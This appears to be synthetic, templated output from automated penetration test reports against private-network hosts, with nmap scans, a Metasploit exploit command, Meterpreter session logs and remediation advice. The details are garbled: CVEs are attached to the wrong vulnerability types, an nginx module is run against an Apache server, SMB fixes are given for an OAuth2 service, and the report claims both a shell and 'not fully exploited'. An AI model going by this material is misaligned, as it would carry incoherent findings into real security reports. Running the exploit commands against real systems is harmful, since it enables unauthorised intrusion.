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- CVE-2022-29263 (CVE-2022-29263)
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[*] Started reverse TCP handler on port 4444
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[*] Sending payload...
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[*] Sending stage (383 bytes)
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[*] Meterpreter session 10 opened
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[*] Session established
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[*] Gained user access
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[*] Connected to 10.200.162.227
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[*] Post-exploitation modules available:
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- hashdump
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- migrate
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- persistence
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=== Final Assessment ===
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Overall Risk Rating: Medium
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Confidence Level: Medium
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Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited
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Key Findings:
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- 3 critical vulnerabilities identified
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- 2 high risk issues found
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- System configuration needs hardening
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Recommendations:
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1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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3. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible.
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Next Steps:
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- Address critical vulnerabilities within 24 hours
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- Remediate high risk findings within 7 days
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- Schedule retesting after fixes are implemented
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- Conduct developer security training focusing on OWASP Top 10
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--- END REPORT ---
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=== Automated Penetration Test Report ===
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Test ID: PT-2025-05-11-0006
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Date: 2025-05-11 19:07:19
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Tester: mchen
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Organization: Pentest Professionals
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Confidentiality: STRICTLY CONFIDENTIAL
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Test Objective: conduct a comprehensive security assessment of the OAuth2 authentication service (192.168.131.73)
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Scope: Internal security assessment
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Rules of Engagement: Standard
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=== Discovery Phase ===
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Tester: nmap -sV -O --script=banner -p80 192.168.131.73
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Tool Output:
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Starting Nmap 7.92 at 2025-05-11 19:07:19
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Nmap scan report for 192.168.131.73
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Host is up (0.31s latency).
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MAC Address: 92:BF:33:7A:0B:3F (Dell)
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80/tcp open http Apache/2.4.41
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OS details: Linux 4.15.0-112-generic
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OS CPE: cpe:/o:linux:linux_kernel:4.15
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Network Distance: 2 hops
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Service Info: Hostname: oauth2-authentication-service-01
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Nmap done: 1 IP address (1 host up) scanned in 15 seconds
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=== Vulnerability Assessment ===
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Tools used:
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- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
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- Burp Suite: Manual testing, session analysis, and business logic flaw identification
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- Nmap scripts: Service enumeration and vulnerability verification
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- Metasploit: Exploit verification and proof-of-concept testing
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## Vulnerability 1: Insecure Configuration
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CVE: CVE-2021-3560
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CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (6.3)
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Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review
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Test Method: nmap --script vuln -p80 192.168.131.73
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Result:
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Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low.
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Remediation: See vendor documentation
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## Vulnerability 2: Information Disclosure
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CVE: CVE-2022-21618
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CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4)
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Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review
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Test Method: nmap --script vuln -p80 192.168.131.73
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Result:
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Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile.
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Remediation: See vendor documentation
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=== Exploitation Phase ===
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Tool: Metasploit Framework 6.1
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Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.131.73; set RPORT 80; exploit"
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Output:
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[*] Exploiting known vulnerabilities:
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- Insecure Configuration (CVE-2021-3560)
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- Information Disclosure (CVE-2022-21618)
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